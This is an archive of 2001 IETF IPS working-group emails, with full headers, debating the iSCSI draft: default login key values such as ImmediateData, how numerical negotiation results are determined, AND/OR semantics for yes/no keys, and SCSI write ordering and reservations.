We should define the meaning of AND and OR when the values are yes and no (even though you may think it is obvious). I suggest either yes=1 and no=0 or a table like: AND yes no ------------- yes | yes | no | ------------- no | no | no | ------------- OR yes no ------------- yes | yes | yes | ------------- no | yes | no | ------------- Eddy_Quicksall@iVivity.com From owner-ips@ece.cmu.edu Sun Sep 30 08:20:27 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA21928 for ; Sun, 30 Sep 2001 08:20:27 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8UBhsZ29656 for ips-outgoing; Sun, 30 Sep 2001 07:43:54 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8UBhqP29652 for ; Sun, 30 Sep 2001 07:43:52 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-3.de.ibm.com (1.0.0) with ESMTP id NAA32102; Sun, 30 Sep 2001 13:43:44 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8UBhch248796; Sun, 30 Sep 2001 13:43:38 +0200 To: internet-drafts@ietf.org Cc: bassoon@YOGI.PDL.CMU.EDU, ips@ece.cmu.edu MIME-Version: 1.0 Subject: new iSCSI draft 08.txt X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 From: "Julian Satran" X-MIMETrack: S/MIME Sign by Notes Client on Julian Satran/Haifa/IBM(Release 5.0.8 |June 18, 2001) at 30-09-2001 10:07:27, Serialize by Notes Client on Julian Satran/Haifa/IBM(Release 5.0.8 |June 18, 2001) at 30-09-2001 10:07:27, Serialize complete at 30-09-2001 10:07:27, S/MIME Sign failed at 30-09-2001 10:07:27: The cryptographic key was not found, Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 30/09/2001 14:43:44, Serialize complete at 30/09/2001 14:43:44 Message-ID: Date: Sun, 30 Sep 2001 14:43:36 +0300 Content-Type: multipart/alternative; boundary="=_alternative 002CA0A4C2256AD7_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 002CA0A4C2256AD7_= Content-Type: text/plain; charset="us-ascii" On behalf of a group of authors from several organizations as part of the IPS working group I submit a revision of an IETF-draft for immediate publication. It specifies iSCSI - a SCSI Over TCP protocol and the file name is "draft-ietf-ips-iSCSI-08.txt". It completely replaces "draft-ietf-ips-iSCSI-07.txt". The draft can be found at: http://www.haifa.il.ibm.com/satran/ips/draft-ietf-ips-iSCSI-08.txt There is also a pdf version that shows the changes from the previous version at: http://www.haifa.il.ibm.com/satran/ips/draft-ietf-ips-iSCSI-08.pdf Julian Satran - IBM Research Laboratory at Haifa --=_alternative 002CA0A4C2256AD7_= Content-Type: text/html; charset="us-ascii"



On  behalf of a group of authors from several organizations as part of the IPS working group  I submit a revision of an IETF-draft for immediate publication. It specifies iSCSI - a SCSI Over TCP protocol and the file name is "draft-ietf-ips-iSCSI-08.txt".  It completely replaces "draft-ietf-ips-iSCSI-07.txt".

The draft can be found at:

http://www.haifa.il.ibm.com/satran/ips/draft-ietf-ips-iSCSI-08.txt

There is also a pdf version that shows the changes from the previous version at:

http://www.haifa.il.ibm.com/satran/ips/draft-ietf-ips-iSCSI-08.pdf

Julian Satran - IBM Research Laboratory at Haifa













--=_alternative 002CA0A4C2256AD7_=-- From owner-ips@ece.cmu.edu Sun Sep 30 08:20:54 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA21942 for ; Sun, 30 Sep 2001 08:20:54 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8UBhjk29639 for ips-outgoing; Sun, 30 Sep 2001 07:43:45 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8UBhhP29633 for ; Sun, 30 Sep 2001 07:43:43 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-2.de.ibm.com (1.0.0) with ESMTP id NAA94290 for ; Sun, 30 Sep 2001 13:43:36 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8UBhah248792 for ; Sun, 30 Sep 2001 13:43:36 +0200 Subject: Re: next meeting To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Sun, 30 Sep 2001 09:13:02 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 30/09/2001 14:43:35 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk IETF - December - Salt-Lake City - Julo "Eddy Quicksall" To: Subject: next meeting Sent by: owner-ips@ece.c mu.edu 29-09-01 00:05 Please respond to "Eddy Quicksall" Does anybody know where and when the next IPS meeting for general attendance is? Eddy_Quicksall@iVivity.com From owner-ips@ece.cmu.edu Sun Sep 30 08:28:33 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA22112 for ; Sun, 30 Sep 2001 08:28:32 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8UBRhP29229 for ips-outgoing; Sun, 30 Sep 2001 07:27:43 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.brocade.com (asbestos.brocade.com [63.121.140.244]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8U6EeP10000 for ; Sun, 30 Sep 2001 02:15:08 -0400 (EDT) Received: from hq-ex-c2.brocade.com (hq-ex-c2 [192.168.126.35]) by mail.brocade.com (8.8.8+Sun/8.8.8) with ESMTP id WAA07640; Sat, 29 Sep 2001 22:48:08 -0700 (PDT) Received: by hq-ex-c2.brocade.com with Internet Mail Service (5.5.2653.19) id ; Sat, 29 Sep 2001 22:48:06 -0700 Message-ID: From: Robert Snively To: "'Julian Satran'" , ips@ece.cmu.edu Subject: RE: iscsi : iscsi parameter default values Date: Sat, 29 Sep 2001 22:48:05 -0700 X-Mailer: Internet Mail Service (5.5.2653.19) Sender: owner-ips@ece.cmu.edu Precedence: bulk Julian, Are not both immediate data and "unsolicited" data outside the command PDU both governed by the first-burst size? If so, the problem remains the same. If you have 50 initiators through each of 10 ports to 50 logical units with 50 commands queued in each with immediate data of 4K bytes, that adds up to a lot of bytes which have to have buffers pre-reserved to allow normal operation. It is the buffer management that is invasive, not the indexing of the buffer contents. It is the dual-copy requirement that is invasive, significantly increasing buffer utilization. For these problems, immediate data and unsolicited data are equivalent. Frankly, I see no functional difference between sending data in the same PDU and sending data in an immediately following PDU. In FCP, we found that immediate data caused sufficient complexity, both in parsing command structures and in performing error recovery, that we chose not to allow it since there was no performance benefit anyway. > -----Original Message----- > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > Sent: Friday, September 28, 2001 10:29 PM > To: ips@ece.cmu.edu > Subject: RE: iscsi : iscsi parameter default values > > > > Robert, > > Unlike FCP - iSCSI has two forms of unsolicited "immediate" > and "separate > unsolicited". They can be used separately or together. > Immediate data is a single PDU comming together with the > command while the > separate unsolicited may come after. > > FCP has only the second type. > > With separate unsolicited the target has to have the buffers > for the burst > and find the "control blocks" by indexing based on ITT. > > With Immediate data the target has to deal with a single PDU (not the > entire burst). Indexing is not done twice (it is done as a > check for the > Control block that is being built). > > This is why Immediate Data is considered far less invasive > than separate > unsolicited (a single buffer, and no indexing) and give the > performance > boost it gives we are going to see it probably on every target. > > Julo > > > > > Robert Snively > > Satran/Haifa/IBM@IBMIL, ips@ece.cmu.edu > ade.com> cc: > > Subject: RE: > iscsi : iscsi parameter default values > 29-09-01 01:31 > > Please respond > > to Robert > > Snively > > > > > > > > > Julian, > > For SCSI Write operations, ImmediateData = yes is > the most demanding mode for the target. If I understand > it correctly, it essentially over-rides the R2T state, > allowing the first burst to be included as immediate data. > In SCSI, except for special cases like this, the target > is the device in charge of data transfers. > > This mode requires the target to have a guaranteed collection of > received buffer space adequate to receive all possible > outbound queued operations from all possible initiators > through all possible target sessions (which may sum to > 1000s of output operations), regardless of what other > buffer-intensive operations may be going on in the device. > > It then requires the device to provide association with each > of those commands instead of just the commands it has elected > to activate. Without immediate data, the command buffer can be > separated and separately managed from the data buffer, > limiting buffer requirements. > > It then requires the device to operate in a non-zero-copy > mode (which raises buffer utilization and increases latency) > while the device analyzes the command to determine what should > be done with the data. It further requires the subsequent > data (if there is more than one PDU to be transmitted) to > be separately managed, and perhaps actually stored in a > separate operation if the buffer must be cleared to make > space available for it. It further requires the target to > analyze the data for completeness before going on to determine > what to do with it. > > Sure, it is easy for the initiator, but so is everything else > except out-of-order reads. > It is the target you are stressing with this. > > For local sub-LANs, and depending on the actual buffering > available in the target, the performance may actually be lower with > ImmediateData allowed, because zero copy behavior of the > target to non-volatile media is not available, which raises > buffer utilization. > > Have I missed something that would change my mind? > > Bob > > > > -----Original Message----- > > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > > Sent: Friday, September 28, 2001 10:38 AM > > To: ips@ece.cmu.edu > > Subject: RE: iscsi : iscsi parameter default values > > > > > > > > > > Robert, > > > > I disagree that Immediate is "the most demanding" mode. That > > is not my > > experience and not what I heard from most of the developers. On the > > contrary immediate data do not require a separate indexing > > operation on the > > target (as non-immediate unsolicited do) and that was the > base for the > > consensus to have them negotiated separately. > > > > For the software initiator it is the most inexpensive way to > > perform short > > data transfers (4-8k) typical for major applications like > > Database access > > and so it is for lightweight target. > > > > Julo > > > > > > > > > > > > Robert Snively > > > > > Hufferd/San Jose/IBM@IBMUS, Julian > > ade.com> > > Satran/Haifa/IBM@IBMIL > > cc: > > ips@ece.cmu.edu > > 28-09-01 17:25 Subject: RE: > > iscsi : iscsi parameter default values > > Please respond > > > > to Robert > > > > Snively > > > > > > > > > > > > > > > > > > I vote no as the default value on ImmediateData. > > > > A default value of yes on ImmediateData requires implementation > > of the most complex and demanding mode of operation as the > > default. SCSI has traditionally made its default behavior the > > simplest and most encompassing, setting more sophisticated > > behavior by subsequent agreement. While it may be your earnest > > desire to encourage the implementation of this function, it > > is not appropriate to demand that as the default behavior > > of all devices. In particular, there is no special benefit > > to providing ImmediateData in low-cost local sub-lans. > > > > If you want to encourage it in a profile, fine, but demanding > > it as the default in the core standard is not appropriate. > > > > Note that the behavior of SCSI is traditionally managed > > entirely by the target. As such, there has never before now > > been a requirement for the target to, as a default, accept > > any PDU except a command or task management function > > that was not explicitly solicited. That is one of the mechanisms > > that assists SCSI in achieving a low-overhead zero copy > > capability while operating with a large number of initiators > > and with deep command queues. > > > > Bob Snively e-mail: rsnively@brocade.com > > Brocade Communications Systems phone: 408 487 8135 > > 1745 Technology Drive > > San Jose, CA 95110 > > > > > > > > > -----Original Message----- > > > From: John Hufferd [mailto:hufferd@us.ibm.com] > > > Sent: Friday, September 28, 2001 1:33 AM > > > To: Julian Satran > > > Cc: ips@ece.cmu.edu > > > Subject: RE: iscsi : iscsi parameter default values > > > > > > > > > > > > I also agree with this. It should be yes. > > > > > > . > > > . > > > . > > > John L. Hufferd > > > Senior Technical Staff Member (STSM) > > > IBM/SSG San Jose Ca > > > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > > > Home Office (408) 997-6136 > > > Internet address: hufferd@us.ibm.com > > > > > > > > > Julian Satran/Haifa/IBM@IBMIL@ece.cmu.edu on 09/27/2001 > 09:50:21 AM > > > > > > Sent by: owner-ips@ece.cmu.edu > > > > > > > > > To: ips@ece.cmu.edu > > > cc: > > > Subject: RE: iscsi : iscsi parameter default values > > > > > > > > > > > > > > > The one that I have trouble living with is ImmediateData. > > > This is important > > > for low-end desktops and hardly matters for large boxes. > > > As such I would suggest it stays as yes. > > > > > > Julo > > > > > > > > > > > > "Eddy > > > Quicksall" To: "'Santosh Rao'" > > > , > > > > > > iaone.net> cc: > > > Sent by: Subject: RE: > > > iscsi : iscsi > > > parameter default values > > > owner-ips@ece.c > > > mu.edu > > > > > > > > > 27-09-01 17:22 > > > Please respond > > > to "Eddy > > > Quicksall" > > > > > > > > > > > > > > > > > > I like your defaults below. > > > > > > But, section 5 says: > > > > > > The initial Login request MUST include the InitiatorName and > > > SessionType key=value pairs. > > > > > > Since SessionType is REQUIRED, naming a default would imply a > > > possible typo > > > in the spec. > > > > > > Eddy > > > > > > -----Original Message----- > > > From: Santosh Rao [mailto:santoshr@cup.hp.com] > > > Sent: Wednesday, September 26, 2001 10:29 PM > > > To: ips@ece.cmu.edu > > > Subject: iscsi : iscsi parameter default values > > > > > > > > > All, > > > > > > With the issue of mode page vs. login keys having [almost] > > drawn to a > > > close, I would like to > > > raise the below issues again, on the subject of default > > > values for login > > > keys and other iscsi > > > parameters : > > > > > > > > > * In keeping with traditional use of scsi mode pages, > > iscsi should > > > not specify any default > > > settings for any mode pages that continue to exist for iscsi. > > > "Default values" for mode > > > pages are target specific and should not be bound to > > the protocol > > > draft. > > > > > > * MORE IMPORTANTLY, I read the default for EMDP as > being set to 1 > > > :-< This implies that > > > targets must be always prepared to deal with out of > > > order data and > > > initiators must be > > > prepared to deal with out of order data, unless the initiator > > > performs a mode select to > > > disable it. [which defeats all the previous advantages > > > gained thru > > > mandating use of login > > > keys for other negotiations.]. A default, if it were > to exist, > > > should be 0. (in-order, by > > > default). > > > > > > * Conservative specification of defaults for login > keys along the > > > following lines : > > > MaxConnections = 1 > > > FMarker = "no" > > > InitialR2T = "yes" > > > BidiInitialR2T = "yes" > > > ImmediateData = "no" > > > DataPDULength = 16 > > > MaxOutstandingR2T = 1 > > > DataPDUInOrder = "yes" > > > ErrorRecoveryLevel = 0 > > > SessionType = "normal" > > > > > > * Should the iscsi protocol require a "Lun Control Mode > > Page"? IOW, > > > is an EnableCRN bit > > > required at the transport layer ? If the device server > > capability > > > is to be negotiated , I > > > suggest this bit be moved to a SCSI ULP Mode Page such as the > > > "Control Mode Page", through a > > > T10 change as a part of the SCSI changes being > driven by iscsi. > > > > > > Comments ? > > > > > > Thanks, > > > Santosh > > > > > > > > > Santosh Rao wrote: > > > > > > > There are the separate issues of : > > > > > > > > * iscsi's specification of defaults for its mode pages > > > which is not > > > in line with mode page > > > > usage. This impacts the target's ability to enforce > > > values other > > > than the protocol > > > > specified default, if the initiator were to not use mode > > > sense/select. > > > > > > > > * default settings for login keys. > > > > > > > > * Is there a need for the "LUN Control Mode Page" and whether > > > "Enable CRN" should be in a > > > > transport specific mode page ? > > > > > > > > which need to be driven to closure as well. > > > > > > > > Regards, > > > > Santosh > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > From owner-ips@ece.cmu.edu Sun Sep 30 11:32:24 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA24671 for ; Sun, 30 Sep 2001 11:32:24 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8UEdBc04328 for ips-outgoing; Sun, 30 Sep 2001 10:39:11 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from ophidian.com ([209.248.81.8]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8UEd7P04321 for ; Sun, 30 Sep 2001 10:39:09 -0400 (EDT) Received: from boa [209.248.83.53] by ophidian.com (SMTPD32-7.03) id AEAE1C2F0224; Sun, 30 Sep 2001 08:39:42 -0600 Message-ID: <002001c149bf$7a669950$0302010a@boa> From: "Edward A. Gardner" To: "Sanjeev Bhagat (TRIPACE/Zoetermeer)" , "'IPS Reflector'" , Subject: Re: iSCSI:Request/Response Ordering Date: Sun, 30 Sep 2001 08:52:07 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.5 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit >Howevere i think that there should be some way in which write access to the >target can be reserved for some initiators. ( i dont know if that already >exists) or there should be some way of ordering of requests fos a target LU >in task router/ task manager I'm not certain what you're trying to get at. There's the various forms of reservation. Persistent reservations have been particularly well thought out for multi-initiator or cluster operation. There are some inherent difficulties with asking a target to coordinate or order writes. From an initiator's perspective, a command is outstanding while it is in flight to the target, while the target is queuing and processing the command, and while status is in flight back to the initiator. A target only has visibility to the middle part, it cannot do anything with commands that are in flight. For example, it does no good to require that the target perform writes in order if they can become re-ordered while in flight to the target. This pretty well means that any coordination has to be done using extra commands, not the write command itself. The extra commands are equivalent to a form of reserve and release. There are some rather complex approaches that would let targets do such things. But it's tantamount to making targets active participants in cluster lock managers. Noone's wanted to pursue approaches with that level of complexity (I think with good reason). The accepted way to do shared access is that the hosts / initiators coordinate everything using their lock manager. At the target level operations can be performed in whatever order is convenient. A number of vendors have built cluster software from such an approach. It appears to work well. Edward A. Gardner eag@ophidian.com Ophidian Designs 719 593-8866 voice 1262 Hofstead Terrace 719 593-8989 fax Colorado Springs, CO 80907 719 210-7200 cell From owner-ips@ece.cmu.edu Sun Sep 30 11:32:52 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA24684 for ; Sun, 30 Sep 2001 11:32:52 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8UEVNk04136 for ips-outgoing; Sun, 30 Sep 2001 10:31:23 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from zoetermeer.tripace.com (eth0.81033r2ce.rtd.skybernet.net [217.17.136.66]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8UEVLP04132 for ; Sun, 30 Sep 2001 10:31:21 -0400 (EDT) Received: by ZOETERMEER with Internet Mail Service (5.5.2653.19) id ; Sun, 30 Sep 2001 16:32:56 +0200 Message-ID: <8C59010722BBD31194640050DA6EC6971B985A@ZOETERMEER> From: "Sanjeev Bhagat (TRIPACE/Zoetermeer)" To: "'Santosh Rao'" , Julian Satran Cc: ips@ece.cmu.edu Subject: RE: iscsi : numerical negotiation wording is ambiguous Date: Sun, 30 Sep 2001 16:32:55 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk All, I agree with Santosh that the responding party must respond the result of the negotiation as compared with the value from offering party. All negotiations in SCSI like (sync, disconnect etc) are also done the same way. I also object to Julian's reason of a simple minded target which wants to send certain fixed values only. In case a simple minded target identifies a value which it cannot support or is less than the value a target can support, then there should be a method for target to reject such a negotiation and the default values be accepted on both side as a result of negotiation. 1 Because even if simple minded target sends its fixed value which is greater than the value sent by offering party then the final result of negotiation will be taken as ( lesser of the two) and in this case target which which cannot support the lower value will produce some illegal results. 2. if simple minded target wants to send its own value and wants it to be accpeted then the responding party is not negotiating but forcing the result on initiator(this method should not be allowed unless explicitly mentioned). however if there is another proposal of numeric negotiation in which the responding party can force its result to be over ridden by the offering party's result then it is acceptable for offering party and responding party to send there own supported key-value result and it can then be computed at offering party's end. IMP: (May be I am missing something here) I do not see how a numeric negotiation can be rejected. Is it possible to reject such kind of negotiaion? Sanjeev -----Original Message----- From: Santosh Rao [mailto:santoshr@cup.hp.com] Sent: Friday, September 28, 2001 11:15 PM To: Julian Satran Cc: ips@ece.cmu.edu Subject: Re: iscsi : numerical negotiation wording is ambiguous Julian & All, I request the group to take a close look at this negotiation process again and [re-]evaluate the alternative being proposed. Further, it appears that the login stage negotiation is also following the same algorithm as the login key negotiation, wherein originator & responder offer their respective values and both sides need to determine the result of the negotiation. i.e. both initiator and target need to compare their NSG with the other party's NSG and pick the lower of the 2. I suggest that both the login key negotiation and the login stage negotiation follow the policy that the originator offers a value and the responder picks the result of the negotiation based on (the offered value & its own value). The value picked by the responder is sent back to the originator. This model has the following advantages : 1) Only one side picks the result of the negotiaton. Hence, the 2 sides cannot go out of sync on the value picked. 2) The originator knows the negotiated result at the the responder since the responder sends back the result of the negotiation. 3) This model is easier to debug because of (1) & (2). 4) Less code since only 1 party (responder) needs to perform the computation to pick the result of the negotiation. 5) This scheme leaves less room for interop problems and mis-interpretation since it is the more familiar negotiation technique that is in use in most other mass storage protocols. (ex : FC PLOGI, FC PRLI, etc). From a first reading of the current negotiation scheme, it is'nt readily apparent that the currently defined model is different from the above and requires both sides to be picking the result of the negotiation, instead of just the responder. Comments ? Thanks, Santosh Julian Satran wrote: > > Santosh, > > I understood what you wording means but I am not sure that we want all the > side-effects. > The negotiation as defined now allows both parties requester or responder > to state their wishes and the LAW > insatiate the result in both. > > Your wording means that the responder selects the value according to the > rule. What if the responder is either a rogue or > just a simple minded target. Let me give an example: > > I am building a simple minded target that has an 8K buffer and says always > (has it wired) DataPDULength=8192 > in its first Login response (that is his buffer). > > If an initiator sends him as a "offer" or as a "responder" 16192 then with > the current wording things are fine and both will > have settled to 8192. > > If the initiator sends an offer of 4096 and the target gives his (only > thing he knows) 8192 it is still fine - both select 4096. > > With your wording some of the negotiations will fail since you assume that > the rule should be expressed in building the answer and not in selecting > the result. > > In the end in both case you have to do selections at both target and > initiator but the current rule enables simple-minded prewired messages > while your does not (the responder message defines the selection and the > offerer has to check it). > > Sorry for this long message for such a simple question. > > Julo > > > Santosh Rao > hp.com> cc: > Sent by: Subject: Re: iscsi : numerical negotiation wording > owner-ips@ece. is ambiguous > cmu.edu > > > 26-09-01 23:16 > Please respond > to Santosh Rao > > > > Julian, > > What is the responding party supposed to offer ? Is it supposed to > determine the result of the > negotiation (higher or lower value, as the case may be) and send that as > its response ? > > Or, is it supposed to send in its numerical value and the initiator picks > the higher or lower of > the 2 ? > > This does'nt come across clear enough in the definition and is open to > mis-interpretation. Please > see the suggested re-word in its place. > > Thanks, > Santosh > > Julian Satran wrote: > > > Santosh, > > > > I am missing something. The rule states what value both parties should > have > > after both have seen the two values. > > Obviously we assume that no error occurs and the responder value is seen > y > > the offering party or the negotiation fails. > > > > What exactly is ambiguous about it? > > > > Julo > > > > > > Santosh Rao > > > hp.com> cc: > > Sent by: Subject: iscsi : numerical > negotiation wording is > > owner-ips@ece. ambiguous > > cmu.edu > > > > > > 26-09-01 19:59 > > Please respond > > to Santosh Rao > > > > > > > > Julian & All, > > > > The definition of numerical negotiation in Section 2.2.4 of Rev 7.97 > > reads : > > > > "In numerical negotiations, the offering and responding party state > > a numerical value. The result of the negotiation is key dependent; > > frequently the lower or the higher of the two values is used." > > > > The above definition is ambiguous, since it does not specify whether it > is > > the originator or the responder that computes the result of the > > negotiation. > > > > i.e. Is it the responsibility of the target to pick the higher or lower > of > > the 2 values and respond with the result of the negotiation ? > > > > OR : > > Is it the originator that has to pick the result of the negotiation > > based on the key it sent and the key it got back ? > > > > I would suggest that the wording be clarified to indicate that the > > responder picks the result of the negotiation and sends this result back > > in its response for this key. > > > > Perhaps, some re-wording along the following lines may be in order : > > > > "In numerical negotiations, the offering party states a numerical > > value, and the responding party states the result (operational value) > > after the negotiation. The result of the negotiation is key > > dependent; responder determines it based on the lower or the higher > > of the two values - offering party's value, and what the responder > > can support." > > > > Comments ? > > > > Regards, > > Santosh > > > > -- > > ################################# > > Santosh Rao > > Software Design Engineer, > > HP, Cupertino. > > email : santoshr@cup.hp.com > > Phone : 408-447-3751 > > ################################# > > #### santoshr.vcf has been removed from this note on September 27 2001 by > Julian Satran -- ################################## Santosh Rao Software Design Engineer, HP-UX iSCSI Driver Team, Hewlett Packard, Cupertino. email : santoshr@cup.hp.com Phone : 408-447-3751 ################################## From owner-ips@ece.cmu.edu Sun Sep 30 13:14:16 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA25515 for ; Sun, 30 Sep 2001 13:14:16 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8UG6xs07006 for ips-outgoing; Sun, 30 Sep 2001 12:06:59 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8UG6tP06998 for ; Sun, 30 Sep 2001 12:06:55 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-2.de.ibm.com (1.0.0) with ESMTP id SAA84420 for ; Sun, 30 Sep 2001 18:06:49 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8UG6m1282568 for ; Sun, 30 Sep 2001 18:06:48 +0200 To: ips@ece.cmu.edu MIME-Version: 1.0 Subject: RE: iscsi : numerical negotiation wording is ambiguous X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 From: "Julian Satran" Message-ID: Date: Sun, 30 Sep 2001 19:06:45 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 30/09/2001 19:06:47, Serialize complete at 30/09/2001 19:06:47 Content-Type: multipart/alternative; boundary="=_alternative 00588CD2C2256AD7_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 00588CD2C2256AD7_= Content-Type: text/plain; charset="us-ascii" Sanjeev, I am not sure clear I made the tiny diference between what I say and what Santosh said: Santosh says: a requester sends A=valuex a responder sends B=valuey the responder assumes that the value y is the correct value and so does an external observer the requester checks that valuey is conformant (he will not believe it) and will reject it if not conformant else it will accept it This might be what you "conventionally" do - I don't and that shows that convention like morals are a matter of geography :-) The advantage of this set of rules is that it allows an external observer to know what was selected without knowing the rules The disadvantage is that messages have to be "built", an additional reject states exists and MOST IMPORTANT you need both messages In what I said: 1. The requester sends A=valuex 2. The Responder has to send either nothing (if valuex is enough on both sides to compute the result like in the case in which the function is a Boolean AND and the value is NO) or valuey 3. Both the requestor and responder have to compute the value (they have to know the rules anyhow) and so does the external observer The disadvantage is that the external observer has to know the rules The advantage is that there is no reject, in binary negotiations you can go away with shorter negotiations and you can set strings at fixed values. Julo "Sanjeev Bhagat (TRIPACE/Zoetermeer)" Sent by: owner-ips@ece.cmu.edu 30-09-01 16:32 Please respond to "Sanjeev Bhagat (TRIPACE/Zoetermeer)" To: "'Santosh Rao'" , Julian Satran/Haifa/IBM@IBMIL cc: ips@ece.cmu.edu Subject: RE: iscsi : numerical negotiation wording is ambiguous All, I agree with Santosh that the responding party must respond the result of the negotiation as compared with the value from offering party. All negotiations in SCSI like (sync, disconnect etc) are also done the same way. I also object to Julian's reason of a simple minded target which wants to send certain fixed values only. In case a simple minded target identifies a value which it cannot support or is less than the value a target can support, then there should be a method for target to reject such a negotiation and the default values be accepted on both side as a result of negotiation. 1 Because even if simple minded target sends its fixed value which is greater than the value sent by offering party then the final result of negotiation will be taken as ( lesser of the two) and in this case target which which cannot support the lower value will produce some illegal results. 2. if simple minded target wants to send its own value and wants it to be accpeted then the responding party is not negotiating but forcing the result on initiator(this method should not be allowed unless explicitly mentioned). however if there is another proposal of numeric negotiation in which the responding party can force its result to be over ridden by the offering party's result then it is acceptable for offering party and responding party to send there own supported key-value result and it can then be computed at offering party's end. IMP: (May be I am missing something here) I do not see how a numeric negotiation can be rejected. Is it possible to reject such kind of negotiaion? Sanjeev -----Original Message----- From: Santosh Rao [mailto:santoshr@cup.hp.com] Sent: Friday, September 28, 2001 11:15 PM To: Julian Satran Cc: ips@ece.cmu.edu Subject: Re: iscsi : numerical negotiation wording is ambiguous Julian & All, I request the group to take a close look at this negotiation process again and [re-]evaluate the alternative being proposed. Further, it appears that the login stage negotiation is also following the same algorithm as the login key negotiation, wherein originator & responder offer their respective values and both sides need to determine the result of the negotiation. i.e. both initiator and target need to compare their NSG with the other party's NSG and pick the lower of the 2. I suggest that both the login key negotiation and the login stage negotiation follow the policy that the originator offers a value and the responder picks the result of the negotiation based on (the offered value & its own value). The value picked by the responder is sent back to the originator. This model has the following advantages : 1) Only one side picks the result of the negotiaton. Hence, the 2 sides cannot go out of sync on the value picked. 2) The originator knows the negotiated result at the the responder since the responder sends back the result of the negotiation. 3) This model is easier to debug because of (1) & (2). 4) Less code since only 1 party (responder) needs to perform the computation to pick the result of the negotiation. 5) This scheme leaves less room for interop problems and mis-interpretation since it is the more familiar negotiation technique that is in use in most other mass storage protocols. (ex : FC PLOGI, FC PRLI, etc). From a first reading of the current negotiation scheme, it is'nt readily apparent that the currently defined model is different from the above and requires both sides to be picking the result of the negotiation, instead of just the responder. Comments ? Thanks, 